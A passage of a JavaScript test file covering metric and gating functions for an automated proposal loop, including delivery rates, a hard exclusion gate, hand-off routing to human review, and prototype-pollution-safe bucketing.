      { scope: 'app-improvement', outcome: 'rejected', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' }
    ]);
    expect(out.totalApproved).toBe(1);
    expect(out.totalCompleted).toBe(1);
    expect(out.approvalToCompletionRate).toBe(100);
  });

  it('returns zeroed totals with null rates for an empty or invalid history', () => {
    for (const input of [[], null, undefined]) {
      const out = computeProposalOutcomeMetrics(input);
      expect(out).toMatchObject({
        totalFiled: 0, totalApproved: 0, totalCompleted: 0, totalRejected: 0,
        totalAbandonedAtFiling: 0, totalPending: 0, approvalToCompletionRate: null, completionRate: null
      });
      expect(Object.keys(out.byScope)).toEqual([]);
    }
  });

  it('produces the same result whether or not the caller pre-computes the aggregates', () => {
    // The route hands in the `stats`/`execution` it already computed to avoid a second
    // pass. That shortcut must stay a pure optimization — if it ever diverges from
    // recomputing, the API's three blocks silently disagree about the same records.
    const stats = summarizeOutcomeStats(RECORDS);
    const execution = computePostApprovalCompletion(stats.filed);
    expect(computeProposalOutcomeMetrics(RECORDS, { stats, execution }))
      .toEqual(computeProposalOutcomeMetrics(RECORDS));
  });

  it('buckets a "__proto__" scope as data rather than rewriting the prototype', () => {
    const { byScope } = computeProposalOutcomeMetrics([
      { scope: '__proto__', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' }
    ]);
    expect(Object.keys(byScope)).toContain('__proto__');
    expect(byScope['__proto__'].approvalToCompletionRate).toBe(100);
    expect({}.approvalToCompletionRate).toBeUndefined();
  });
});

describe('computeDeliveryMetrics (#3085)', () => {
  const RECORDS = [
    { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' },
    { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'failure', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T02:00:00.000Z' },
    { scope: 'app-data-gap', outcome: 'merged', executionOutcome: null, filedAt: '2026-07-01T00:00:00.000Z' },
    // Rejected-only scope: it has a filing record but nothing was ever approved there.
    { scope: 'loop-meta', outcome: 'rejected', filedAt: '2026-07-01T00:00:00.000Z' }
  ];

  it('projects the approval → delivery totals and rate', () => {
    const { delivery } = computeDeliveryMetrics(RECORDS);
    // 3 approved, 1 delivered → 33%. The run-success rates sitting beside this in the
    // same document say nothing about that gap, which is the whole point of the block.
    expect(delivery).toEqual({ totalApproved: 3, totalDelivered: 1, currentDeliveryRate: 33 });
  });

  it('breaks delivery down per scope, omitting scopes with no approvals', () => {
    const { deliveryByScope } = computeDeliveryMetrics(RECORDS);
    expect(deliveryByScope).toEqual({
      'app-improvement': { approved: 2, delivered: 1 },
      'app-data-gap': { approved: 1, delivered: 0 }
    });
    // A scope whose every proposal was rejected carries no delivery signal — its
    // 0-of-0 row would only restate the merge-rate block.
    expect(deliveryByScope['loop-meta']).toBeUndefined();
  });

  it('reports a NULL rate (never 0%) when nothing has been approved yet', () => {
    // The sentinel rule: "no approvals to deliver on" is not "every approval was lost".
    // This rate arms the hard exclusion gate, so a 0 here would lock out a cold loop.
    for (const input of [[], null, [{ scope: 'loop-meta', outcome: 'rejected' }]]) {
      const { delivery, deliveryByScope } = computeDeliveryMetrics(input);
      expect(delivery).toEqual({ totalApproved: 0, totalDelivered: 0, currentDeliveryRate: null });
      expect(Object.keys(deliveryByScope)).toEqual([]);
    }
  });

  it('agrees with the roll-up it projects', () => {
    // `scope` is LLM-authored, so the two must never disagree about which scope a
    // record belongs to — the prompt and the exclusion gate both trace back here.
    const rolled = computeProposalOutcomeMetrics(RECORDS);
    const { delivery, deliveryByScope } = computeDeliveryMetrics(RECORDS);
    expect(delivery.totalApproved).toBe(rolled.totalApproved);
    expect(delivery.totalDelivered).toBe(rolled.totalCompleted);
    expect(deliveryByScope['app-improvement'].delivered).toBe(rolled.byScope['app-improvement'].completed);
  });

  it('buckets a "__proto__" scope as data rather than rewriting the prototype', () => {
    const { deliveryByScope } = computeDeliveryMetrics([
      { scope: '__proto__', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' }
    ]);
    // On a plain object `bucket['__proto__'] = …` swaps the prototype instead of adding
    // a key, so the bucket would vanish from Object.keys. The null prototype is what
    // makes it data — assert the prototype directly, since a passing Object.keys check
    // on Object.prototype pollution would be silent.
    expect(Object.getPrototypeOf(deliveryByScope)).toBeNull();
    expect(Object.keys(deliveryByScope)).toContain('__proto__');
  });
});

describe('renderCosMetricsSource (#3085)', () => {
  const BY_TYPE = { 'user-task': { lifetimeSuccessRate: 92, lifetimeCompleted: 25 } };

  it('leaves the per-task-type document unchanged when no delivery data was gathered', () => {
    // Outcomes source off / tracker can't report outcomes / store unreadable: OMIT the
    // block rather than emit zeros, which would read as "nothing has ever been approved".
    const parsed = JSON.parse(renderCosMetricsSource({ metricsByType: BY_TYPE }));
    expect(parsed).toEqual(BY_TYPE);
    expect(parsed.delivery).toBeUndefined();
  });

  it('renders delivery alone when the install has no CoS run history yet', () => {
    // The two halves are independently optional: an install with no learning.json can
    // still have approved-but-undelivered proposals, and that is exactly the signal
    // that arms the exclusion gate — it must not be withheld for lack of run stats.
    const parsed = JSON.parse(renderCosMetricsSource({
      metricsByType: {},
      delivery: computeDeliveryMetrics([{ scope: 'loop-meta', outcome: 'merged', executionOutcome: null, filedAt: '2026-07-01T00:00:00.000Z' }])
    }));
    expect(parsed.delivery).toEqual({ totalApproved: 1, totalDelivered: 0, currentDeliveryRate: 0 });
  });

  it('returns an empty string when both halves are empty so the source is omitted', () => {
    // A hollow `{}` block would tell the reasoner nothing while costing prompt budget.
    expect(renderCosMetricsSource()).toBe('');
    expect(renderCosMetricsSource({ metricsByType: {}, delivery: null })).toBe('');
  });

  it('folds delivery into the same document as the run rates', () => {
    const delivery = computeDeliveryMetrics([
      { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' }
    ]);
    const parsed = JSON.parse(renderCosMetricsSource({ metricsByType: BY_TYPE, delivery }));
    expect(parsed['user-task'].lifetimeSuccessRate).toBe(92);
    expect(parsed.delivery).toEqual({ totalApproved: 1, totalDelivered: 1, currentDeliveryRate: 100 });
    expect(parsed.deliveryByScope).toEqual({ 'app-improvement': { approved: 1, delivered: 1 } });
  });

  it('keeps the delivery block ahead of the per-type map so the cap cannot cut it', () => {
    // An install with dozens of task types can fill COS_METRICS_MAX_CHARS on its own.
    // The per-type tail has an interpreted sibling in the prompt (liScopeAwareness,
    // derived from the untruncated map); the delivery block has none, so it must survive.
    const metricsByType = {};
    for (let i = 0; i < 200; i++) {
      metricsByType[`self-improve:scope-${i}`] = { lifetimeSuccessRate: 50, lifetimeCompleted: 10, recentSuccessRate: null, recentCompleted: 0, avgDurationMs: 1000 };
    }
    const rendered = renderCosMetricsSource({
      metricsByType,
      delivery: computeDeliveryMetrics([{ scope: 'loop-meta', outcome: 'merged', executionOutcome: null, filedAt: '2026-07-01T00:00:00.000Z' }])
    });
    expect(rendered.length).toBe(COS_METRICS_MAX_CHARS); // genuinely truncated
    expect(rendered).toContain('"currentDeliveryRate":0');
    expect(rendered.indexOf('"delivery"')).toBeLessThan(rendered.indexOf('self-improve:scope-0'));
  });

  it('does not let a task type named "delivery" shadow the delivery block', () => {
    const parsed = JSON.parse(renderCosMetricsSource({
      metricsByType: { delivery: { lifetimeSuccessRate: 10 } },
      delivery: computeDeliveryMetrics([{ scope: 'loop-meta', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' }])
    }));
    expect(parsed.delivery).toEqual({ totalApproved: 1, totalDelivered: 1, currentDeliveryRate: 100 });
  });
});

describe('computeProposalExecutionAwareness (#2765)', () => {
  const execRecords = (scope, successes, failures) => [
    ...Array.from({ length: successes }, () => ({ scope, executionOutcome: 'success' })),
    ...Array.from({ length: failures }, () => ({ scope, executionOutcome: 'failure' }))
  ];

  it('returns "" until a domain clears the sample floor', () => {
    // One execution is below PROPOSAL_EXECUTION_MIN_SAMPLE (2) — no list yet.
    expect(computeProposalExecutionAwareness({ outcomes: execRecords('loop-meta', 0, 1) })).toBe('');
    expect(computeProposalExecutionAwareness({ outcomes: [] })).toBe('');
    expect(computeProposalExecutionAwareness()).toBe('');
  });

  it('lists a low-execution domain under AVOID and a high one under PREFER', () => {
    const out = computeProposalExecutionAwareness({
      outcomes: [
        ...execRecords('app-improvement', 0, 3), // 0% → avoid
        ...execRecords('loop-meta', 3, 0)         // 100% → prefer
      ]
    });
    expect(out).toContain('LOW-EXECUTION proposal domains');
    expect(out).toContain('app-improvement');
    expect(out).toContain('HIGH-EXECUTION proposal domains');
    expect(out).toContain('loop-meta');
    // No "directional context only" hedge — this is a true per-proposal record.
    expect(out).not.toContain('directional');
    expect(out).not.toMatch(/don't map 1:1|do not map 1:1/);
  });

  it('leaves a mid-rate domain (>=avoid, <prefer) off both lists', () => {
    // 2/3 ≈ 67%: above the 50% avoid line, below the 75% prefer line.
    expect(computeProposalExecutionAwareness({ outcomes: execRecords('loop-meta', 2, 1) })).toBe('');
    expect(PROPOSAL_EXECUTION_MIN_SAMPLE).toBe(2);
  });

  it('names the dominant failure cause on a low-execution AVOID line (#2764 §3)', () => {
    const out = computeProposalExecutionAwareness({
      outcomes: [
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'execution' }
      ]
    });
    expect(out).toContain('LOW-EXECUTION proposal domains');
    expect(out).toContain('loop-meta');
    // The glossed dominant cause is appended to the avoid line, commonest first.
    expect(out).toContain('failing mostly on');
    expect(out).toContain('the task was under-defined or already done (no correct change to make) (2)');
  });

  it('omits the cause clause when no failure carries a diagnosis', () => {
    // All failures are unclassified (no failureCategory), so there is no cause to name.
    const out = computeProposalExecutionAwareness({ outcomes: execRecords('app-improvement', 0, 3) });
    expect(out).toContain('app-improvement');
    expect(out).not.toContain('failing mostly on');
  });
});

describe('computeCrossReferenceAnalysis (#2764 §3)', () => {
  it('surfaces a domain that merges well but executes poorly', () => {
    const out = computeCrossReferenceAnalysis({
      outcomes: [
        // loop-meta: 2 of 4 resolved proposals merged (50%)...
        { scope: 'loop-meta', outcome: 'merged' },
        { scope: 'loop-meta', outcome: 'merged' },
        { scope: 'loop-meta', outcome: 'rejected' },
        { scope: 'loop-meta', outcome: 'abandoned' },
        // ...but its hand-offs fail: planning 3, execution 1 (planning dominant)
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'execution' }
      ]
    });
    expect(out).toContain('PROPOSES well but EXECUTES poorly');
    expect(out).toContain('loop-meta: proposals merge at 50% (2/4) but hand-offs here fail on planning (3 of 4)');
  });

  it('excludes a domain with no merged proposal (proposes poorly too)', () => {
    // Domain fails execution but never merged — liProposalExecution already covers it,
    // so the cross-reference (which is about the CONTRAST) stays silent.
    expect(computeCrossReferenceAnalysis({
      outcomes: [
        { scope: 'loop-meta', outcome: 'rejected' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' }
      ]
    })).toBe('');
  });

  it('excludes a domain whose failures are all undiagnosed', () => {
    // Merges well, but the failed hand-offs carry no recognized cause — nothing to
    // cross-reference, so no line (unknown/unclassified are not findings).
    expect(computeCrossReferenceAnalysis({
      outcomes: [
        { scope: 'loop-meta', outcome: 'merged' },
        { scope: 'loop-meta', executionOutcome: 'failure' } // unclassified
      ]
    })).toBe('');
  });

  it('returns "" for empty / non-array input', () => {
    expect(computeCrossReferenceAnalysis({ outcomes: [] })).toBe('');
    expect(computeCrossReferenceAnalysis({ outcomes: null })).toBe('');
    expect(computeCrossReferenceAnalysis()).toBe('');
  });
});

describe('computeHandoffRouting (#2764 §4)', () => {
  const execRecords = (scope, successes, failures, extraFail = {}) => [
    ...Array.from({ length: successes }, () => ({ scope, executionOutcome: 'success' })),
    ...Array.from({ length: failures }, () => ({ scope, executionOutcome: 'failure', ...extraFail }))
  ];

  it('allows the hand-off when the proposal has no scope (cannot judge)', () => {
    expect(computeHandoffRouting({ proposal: {}, outcomes: [] })).toEqual({ handoff: true, reason: null });
    expect(computeHandoffRouting({ proposal: { scope: '  ' }, outcomes: [] })).toEqual({ handoff: true, reason: null });
    expect(computeHandoffRouting()).toEqual({ handoff: true, reason: null });
  });

  it('allows the hand-off for an unknown domain (no execution history)', () => {
    expect(computeHandoffRouting({ proposal: { scope: 'loop-meta' }, outcomes: [] }))
      .toEqual({ handoff: true, reason: null });
  });

  it('allows the hand-off below the sample floor even at 0%', () => {
    // One failed execution is below PROPOSAL_EXECUTION_MIN_SAMPLE (2) — not evidence.
    expect(computeHandoffRouting({ proposal: { scope: 'loop-meta' }, outcomes: execRecords('loop-meta', 0, 1) }))
      .toEqual({ handoff: true, reason: null });
  });

  it('allows the hand-off when the rate is at/above the avoid threshold', () => {
    // 2/3 ≈ 67% is at/above the 50% avoid line → not chronically failing.
    expect(computeHandoffRouting({ proposal: { scope: 'loop-meta' }, outcomes: execRecords('loop-meta', 2, 1) }))
      .toEqual({ handoff: true, reason: null });
  });

  it('suppresses the hand-off for a chronically-failing domain and names domain+rate+cause', () => {
    const routing = computeHandoffRouting({
      proposal: { scope: 'loop-meta' },
      outcomes: [
        { scope: 'loop-meta', executionOutcome: 'success' },              // 1 success
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
        { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' }  // 2 failures → 33%
      ]
    });
    expect(routing.handoff).toBe(false);
    expect(routing.domain).toBe('loop-meta');
    expect(routing.rate).toBe(33);
    expect(routing.n).toBe(3);
    expect(routing.reason).toContain('loop-meta');
    expect(routing.reason).toContain('33%');
    expect(routing.reason).toContain('over 3 executed');
    expect(routing.reason).toContain('filing for human review instead of auto-hand-off');
    // Dominant cause is glossed and appended in parentheses.
    expect(routing.reason).toContain('failing mostly on');
    expect(routing.reason).toContain('the task was under-defined or already done (no correct change to make) (2)');
    // Agrees with the reasoner-facing avoid list on WHICH domains are chronically failing.
    expect(computeProposalExecutionAwareness({ outcomes: [
      { scope: 'loop-meta', executionOutcome: 'success' },
      { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
      { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' }
    ] })).toContain('loop-meta');
  });

  it('suppresses with NO trailing cause clause when failures are purely undiagnosed', () => {
    const routing = computeHandoffRouting({
      proposal: { scope: 'app-improvement' },
      outcomes: execRecords('app-improvement', 0, 3) // 0%, all unclassified
    });
    expect(routing.handoff).toBe(false);
    expect(routing.domain).toBe('app-improvement');
    expect(routing.rate).toBe(0);
    expect(routing.n).toBe(3);
    expect(routing.cause).toBe('');
    expect(routing.reason).toContain('app-improvement');
    expect(routing.reason).not.toContain('failing mostly on');
    expect(routing.reason).not.toContain('(');
  });
});

describe('computeDeliveryThrottle (#3160)', () => {
  const health = (deliveryRate, deliverySample) => ({ deliveryRate, deliverySample });

  it('returns null when delivery data is unavailable', () => {
    expect(computeDeliveryThrottle(null)).toBeNull();
    expect(computeDeliveryThrottle(health(null, 0))).toBeNull();
    expect(computeDeliveryThrottle(health(Number.NaN, 5))).toBeNull();
  });

  it('stops below the evidence floor regardless of the observed rate', () => {
    expect(computeDeliveryThrottle(health(100, LI_DELIVERY_MIN_SAMPLE - 1))).toBe(0);
    expect(computeDeliveryThrottle(health(0, 1))).toBe(0);
  });

  it('stops a sufficiently-sampled delivery rate below 20%', () => {
    expect(computeDeliveryThrottle(health(0, LI_DELIVERY_MIN_SAMPLE))).toBe(0);
    expect(computeDeliveryThrottle(health(19.99, LI_DELIVERY_MIN_SAMPLE))).toBe(0);
  });

  it('scales proportionally from 0% to full throttle at 75%', () => {
    expect(computeDeliveryThrottle(health(20, LI_DELIVERY_MIN_SAMPLE))).toBeCloseTo(20 / 75);
    expect(computeDeliveryThrottle(health(50, 12))).toBeCloseTo(2 / 3);
    expect(computeDeliveryThrottle(health(75, 12))).toBe(1);
    expect(computeDeliveryThrottle(health(100, 12))).toBe(1);
  });

  it('formats full, degraded, stopped, cold-start, and unavailable prompt guidance', () => {
    expect(formatDeliveryThrottleGuidance(health(75, 12)))
      .toContain('LI proposal throttle: full — based on 75% delivery rate from 12 approved proposals');
    expect(formatDeliveryThrottleGuidance(health(50, 12)))
      .toContain('LI proposal throttle: 67% — based on 50% delivery rate from 12 approved proposals');
    expect(formatDeliveryThrottleGuidance(health(0, 12)))
      .toContain('LI proposal throttle: stopped — based on 0% delivery rate from 12 approved proposals');
    expect(formatDeliveryThrottleGuidance(health(0, 12))).toContain('return proposal: null');
    expect(formatDeliveryThrottleGuidance(health(19.99, 12))).toContain('return proposal: null');
    expect(formatDeliveryThrottleGuidance(health(100, LI_DELIVERY_MIN_SAMPLE - 1)))
      .toContain(`at least ${LI_DELIVERY_MIN_SAMPLE} approvals are required before filing resumes`);
    expect(formatDeliveryThrottleGuidance(health(null, 0)))
      .toContain('LI proposal throttle: unavailable');
  });
});

describe('computeLiExecutionHealth (#2824)', () => {
  const stats = (over = {}) => ({ read: true, metrics: { completed: 10, succeeded: 3, failed: 7, successRate: 30, recentOutcomes: [], ...over } });

  it('reports UNKNOWN (rate null) when the store is unreadable or has no runs', () => {
    expect(computeLiExecutionHealth(null)).toEqual({
      rate: null, sample: 0, source: null, confident: false,
      deliveryRate: null, deliverySample: 0, deliveryConfident: false
    });
    expect(computeLiExecutionHealth({ read: false })).toMatchObject({ rate: null, confident: false });
    expect(computeLiExecutionHealth({ read: true, metrics: null })).toMatchObject({ rate: null, confident: false });
  });

  it('reads the effective lifetime rate + sample and marks it confident above the floor', () => {
    const health = computeLiExecutionHealth(stats());
    expect(health.rate).toBe(30);
    expect(health.sample).toBe(10);
    expect(health.confident).toBe(true);
  });

  it('keeps run health independent from approval-to-completion delivery health', () => {
    const outcomes = [
      { outcome: 'merged', executionOutcome: 'success' },
      ...Array.from({ length: 4 }, () => ({ outcome: 'merged', executionOutcome: null }))
    ];
    const health = computeLiExecutionHealth(stats({ succeeded: 9, failed: 1, successRate: 90 }), outcomes);
    expect(health).toMatchObject({
      rate: 90,
      sample: 10,
      confident: true,
      deliveryRate: 20,
      deliverySample: 5,
      deliveryConfident: true
    });
  });

  it('is NOT confident below LI_DEGRADED_MIN_SAMPLE runs', () => {
    const health = computeLiExecutionHealth(stats({ completed: 2, succeeded: 0, failed: 2, successRate: 0 }));
    expect(health.rate).toBe(0);
    expect(health.sample).toBe(2);
    expect(health.confident).toBe(false);
  });
});

describe('computeHardExclusionGate (#2824)', () => {
  // Degraded (below the 75% gate line) AND confident (>= LI_DEGRADED_MIN_SAMPLE runs).
  const degraded = { read: true, metrics: { completed: 10, succeeded: 3, failed: 7, successRate: 30, recentOutcomes: [] } };
  // Healthy: at/above the gate line.
  const healthy = { read: true, metrics: { completed: 10, succeeded: 9, failed: 1, successRate: 90, recentOutcomes: [] } };
  // Below the sample floor even though 0%.
  const thinSample = { read: true, metrics: { completed: 2, succeeded: 0, failed: 2, successRate: 0, recentOutcomes: [] } };
  const poorDelivery = [
    { outcome: 'merged', executionOutcome: 'success' },
    ...Array.from({ length: 4 }, () => ({ outcome: 'merged', executionOutcome: null }))
  ];

  it('never excludes a null/invalid proposal', () => {
    expect(computeHardExclusionGate({ proposal: null, liTaskStats: degraded })).toEqual({ excluded: false, reason: null });
    expect(computeHardExclusionGate({ liTaskStats: degraded })).toEqual({ excluded: false, reason: null });
  });

  it('is DISARMED when execution health is unknown, healthy, or below the sample floor', () => {
    const p = { scope: 'loop-meta' };
    expect(computeHardExclusionGate({ proposal: p, liTaskStats: null }).excluded).toBe(false);
    expect(computeHardExclusionGate({ proposal: p, liTaskStats: healthy }).excluded).toBe(false);
    expect(computeHardExclusionGate({ proposal: p, liTaskStats: thinSample }).excluded).toBe(false);
  });

  it('arms on a confidently-low delivery rate even when LI runs are healthy', () => {
    const res = computeHardExclusionGate({
      proposal: { scope: 'loop-meta' },
      liTaskStats: healthy,
      outcomes: poorDelivery
    });
    expect(res.excluded).toBe(true);
    expect(res.rule).toBe('self-improve-scope');
    expect(res.reason).toContain('approval-to-completion delivery health 20%');
    expect(res.reason).toContain(`< ${LI_HARD_GATE_DELIVERY_THRESHOLD}%`);
  });

  it('does not arm the delivery signal with no approvals or fewer than its sample floor', () => {
    const p = { scope: 'loop-meta' };
    expect(computeHardExclusionGate({ proposal: p, liTaskStats: healthy, outcomes: [] }).excluded).toBe(false);
    expect(computeHardExclusionGate({
      proposal: p,
      liTaskStats: healthy,
      outcomes: Array.from({ length: LI_DELIVERY_MIN_SAMPLE - 1 }, () => ({ outcome: 'merged', executionOutcome: null }))
    }).excluded).toBe(false);
  });

  it('excludes EVERY self-improve scope when armed, regardless of domain history', () => {
    for (const scope of SELF_IMPROVE_SCOPES) {
      const res = computeHardExclusionGate({ proposal: { scope }, liTaskStats: degraded, outcomes: [] });
      expect(res.excluded).toBe(true);
      expect(res.rule).toBe('self-improve-scope');
      expect(res.reason).toContain(scope);
      expect(res.reason).toContain(`< ${LI_HARD_GATE_EXECUTION_THRESHOLD}%`);
    }
  });

  it('excludes a non-self-improve proposal in a chronically-failing domain when armed', () => {
    const outcomes = [
      { scope: 'app-improvement', executionOutcome: 'success' },
      { scope: 'app-improvement', executionOutcome: 'failure', failureCategory: 'planning' },
      { scope: 'app-improvement', executionOutcome: 'failure', failureCategory: 'planning' } // 1/3 = 33% < 50%
    ];
    const res = computeHardExclusionGate({ proposal: { scope: 'app-improvement' }, liTaskStats: degraded, outcomes });
    expect(res.excluded).toBe(true);
    expect(res.rule).toBe('failing-domain');
    expect(res.reason).toContain('app-improvement');
    expect(res.reason).toContain('33%');
  });

  it('does NOT exclude a non-self-improve proposal in a healthy/unknown domain even when armed', () => {
    // app-data-gap has no failing execution history → domain rule can't fire.
    expect(computeHardExclusionGate({ proposal: { scope: 'app-data-gap' }, liTaskStats: degraded, outcomes: [] }).excluded).toBe(false);
    // A domain at/above the avoid line is not chronically failing.
    const okOutcomes = [
      { scope: 'app-improvement', executionOutcome: 'success' },
      { scope: 'app-improvement', executionOutcome: 'success' },
      { scope: 'app-improvement', executionOutcome: 'failure' } // 2/3 = 67% >= 50%
    ];
    expect(computeHardExclusionGate({ proposal: { scope: 'app-improvement' }, liTaskStats: degraded, outcomes: okOutcomes }).excluded).toBe(false);
  });

  it('agrees with computeHandoffRouting on which non-self-improve domains are chronically failing', () => {
    const outcomes = [
      { scope: 'app-improvement', executionOutcome: 'failure' },
      { scope: 'app-improvement', executionOutcome: 'failure' } // 0/2 = 0%
    ];
    // Both the hand-off gate and the filing gate flag the same domain; the filing gate
    // additionally requires degraded overall health to fire.
    expect(computeHandoffRouting({ proposal: { scope: 'app-improvement' }, outcomes }).handoff).toBe(false);
    expect(computeHardExclusionGate({ proposal: { scope: 'app-improvement' }, liTaskStats: degraded, outcomes }).excluded).toBe(true);
    // …but with healthy execution health, the filing gate stays disarmed.
    expect(computeHardExclusionGate({ proposal: { scope: 'app-improvement' }, liTaskStats: healthy, outcomes }).excluded).toBe(false);
  });
});

describe('computeHardExclusionNotice (#2824)', () => {
  const degraded = { read: true, metrics: { completed: 10, succeeded: 3, failed: 7, successRate: 30, recentOutcomes: [] } };
  const healthy = { read: true, metrics: { completed: 10, succeeded: 9, failed: 1, successRate: 90, recentOutcomes: [] } };
  const poorDelivery = [
    { outcome: 'merged', executionOutcome: 'success' },
    ...Array.from({ length: 4 }, () => ({ outcome: 'merged', executionOutcome: null }))
  ];

  it('is empty when the gate is disarmed (healthy / unknown health)', () => {
    expect(computeHardExclusionNotice({ liTaskStats: healthy })).toBe('');
    expect(computeHardExclusionNotice({ liTaskStats: null })).toBe('');
  });

  it('names the self-improve scopes, the armed health, and the GATE CHECK step', () => {
    const notice = computeHardExclusionNotice({ liTaskStats: degraded, outcomes: [] });
    expect(notice).toContain('HARD EXCLUSION GATE ARMED');
    expect(notice).toContain('30%');
    expect(notice).toContain(`below ${LI_HARD_GATE_EXECUTION_THRESHOLD}%`);
    for (const scope of SELF_IMPROVE_SCOPES) expect(notice).toContain(scope);
    expect(notice).toContain('GATE CHECK');
    expect(notice).toContain('return proposal: null');
  });

  it('names a currently chronically-failing domain when one exists', () => {
    const outcomes = [
      { scope: 'app-improvement', executionOutcome: 'failure' },
      { scope: 'app-improvement', executionOutcome: 'failure' } // 0% over 2
    ];
    const notice = computeHardExclusionNotice({ liTaskStats: degraded, outcomes });
    expect(notice).toContain('chronically-failing execution domain');
    expect(notice).toContain('app-improvement');
  });

  it('names delivery health when that independent signal arms the gate', () => {
    const notice = computeHardExclusionNotice({ liTaskStats: healthy, outcomes: poorDelivery });
    expect(notice).toContain('approval-to-completion delivery health 20%');
    expect(notice).toContain(`below ${LI_HARD_GATE_DELIVERY_THRESHOLD}%`);
  });
});

describe('resolveBlockOnIssue', () => {
  it('maps "this" to the just-filed issue number', () => {
    expect(resolveBlockOnIssue({ blockOnIssue: 'this' }, 99)).toBe(99);
  });

  it('returns null for "this" with no filed issue', () => {
    expect(resolveBlockOnIssue({ blockOnIssue: 'this' }, null)).toBe(null);
  });

  it('passes an integer through', () => {
    expect(resolveBlockOnIssue({ blockOnIssue: 7 }, null)).toBe(7);
  });

  it('returns null for a null pause', () => {
    expect(resolveBlockOnIssue(null, 5)).toBe(null);
  });
});

describe('filerForTracker / trackerSupportsPause (dispatch)', () => {
  it('routes forges to the forge filer', () => {
    expect(filerForTracker('github')).toBe('forge');
    expect(filerForTracker('gitlab')).toBe('forge');
  });

  it('routes jira to the jira filer', () => {
    expect(filerForTracker('jira')).toBe('jira');
  });

  it('routes plan (and unknowns) to the plan filer', () => {
    expect(filerForTracker('plan')).toBe('plan');
    expect(filerForTracker(undefined)).toBe('plan');
    expect(filerForTracker('weird')).toBe('plan');
  });

  it('plan does not support pause; forge/jira do', () => {
    expect(trackerSupportsPause('plan')).toBe(false);
    expect(trackerSupportsPause('github')).toBe(true);
    expect(trackerSupportsPause('jira')).toBe(true);
  });
});

describe('computeScopeAwareness (#2760)', () => {
  it('returns empty string when no scope clears the sample floor', () => {
    // Both under SCOPE_AWARENESS_MIN_SAMPLE (3) → neither classified.
    expect(computeScopeAwareness({ metricsByType: {
      'plan-task': { lifetimeSuccessRate: 100, lifetimeCompleted: 2 },
      'accessibility': { lifetimeSuccessRate: 0, lifetimeCompleted: 1 }
    } })).toBe('');
  });

  it('returns empty string for an empty / missing map', () => {
    expect(computeScopeAwareness({})).toBe('');
    expect(computeScopeAwareness()).toBe('');
    expect(computeScopeAwareness({ metricsByType: {} })).toBe('');
  });

  it('classifies a below-threshold scope with enough runs as AVOID', () => {
    const out = computeScopeAwareness({ metricsByType: {
      'self-improve:layered-intelligence': { lifetimeSuccessRate: 0, lifetimeCompleted: 9 }
    } });
    expect(out).toContain('LOW-COMPLETION');
    expect(out).toContain('self-improve:layered-intelligence: 0% completed over 9 runs');
    expect(out).not.toContain('HIGH-COMPLETION');
  });

  it('classifies an at/above-threshold scope with enough runs as PREFER', () => {
    const out = computeScopeAwareness({ metricsByType: {
      'plan-task': { lifetimeSuccessRate: 100, lifetimeCompleted: 10 }
    } });
    expect(out).toContain('HIGH-COMPLETION');
    expect(out).toContain('plan-task: 100% completed over 10 runs');
    expect(out).not.toContain('LOW-COMPLETION');
  });

  it('leaves a mid-band scope (between avoid and prefer) unclassified', () => {
    // 60% is >= AVOID (50) and < PREFER (75) → neither list.
    expect(computeScopeAwareness({ metricsByType: {
      'feature-ideas': { lifetimeSuccessRate: 60, lifetimeCompleted: 8 }
    } })).toBe('');
  });

  it('ignores a never-run scope (null rate) even with a high completed count artifact', () => {
    expect(computeScopeAwareness({ metricsByType: {
      'idle-review': { lifetimeSuccessRate: null, lifetimeCompleted: 12 }
    } })).toBe('');
  });

  it('judges on the recency-windowed rate so a RECOVERED scope leaves avoid (#2760 dynamic adjustment)', () => {
    // Lifetime is dragged to 10% by an old failure burst, but the recent window (>= the
    // 5-sample floor) is all successes → the effective rate is high, so the scope must
    // NOT be on the avoid list (and here clears PREFER). Proves self-clearing works off
    // the windowed rate, which the near-permanent lifetime rate could never deliver.
    // The rendered count matches the rate's basis: windowed rate → windowed count.
    const out = computeScopeAwareness({ metricsByType: {
      'branch-reconcile': { lifetimeSuccessRate: 10, lifetimeCompleted: 20, recentSuccessRate: 100, recentCompleted: 6 }
    } });
    expect(out).not.toContain('LOW-COMPLETION');
    expect(out).toContain('HIGH-COMPLETION');
    expect(out).toContain('branch-reconcile: 100% completed over 6 runs'); // windowed rate AND windowed count
  });

  it('judges on the windowed rate so a REGRESSED scope enters avoid despite a high lifetime rate', () => {
    // Lifetime looks great (95%) but the recent window (>= floor) has collapsed → avoid.
    const out = computeScopeAwareness({ metricsByType: {
      'performance': { lifetimeSuccessRate: 95, lifetimeCompleted: 40, recentSuccessRate: 20, recentCompleted: 8 }
    } });
    expect(out).toContain('LOW-COMPLETION');
    expect(out).toContain('performance: 20% completed over 8 runs'); // windowed rate AND windowed count
    expect(out).not.toContain('HIGH-COMPLETION');
  });

  it('ignores a THIN recent window (below the sample floor) and lets lifetime govern (#2760)', () => {
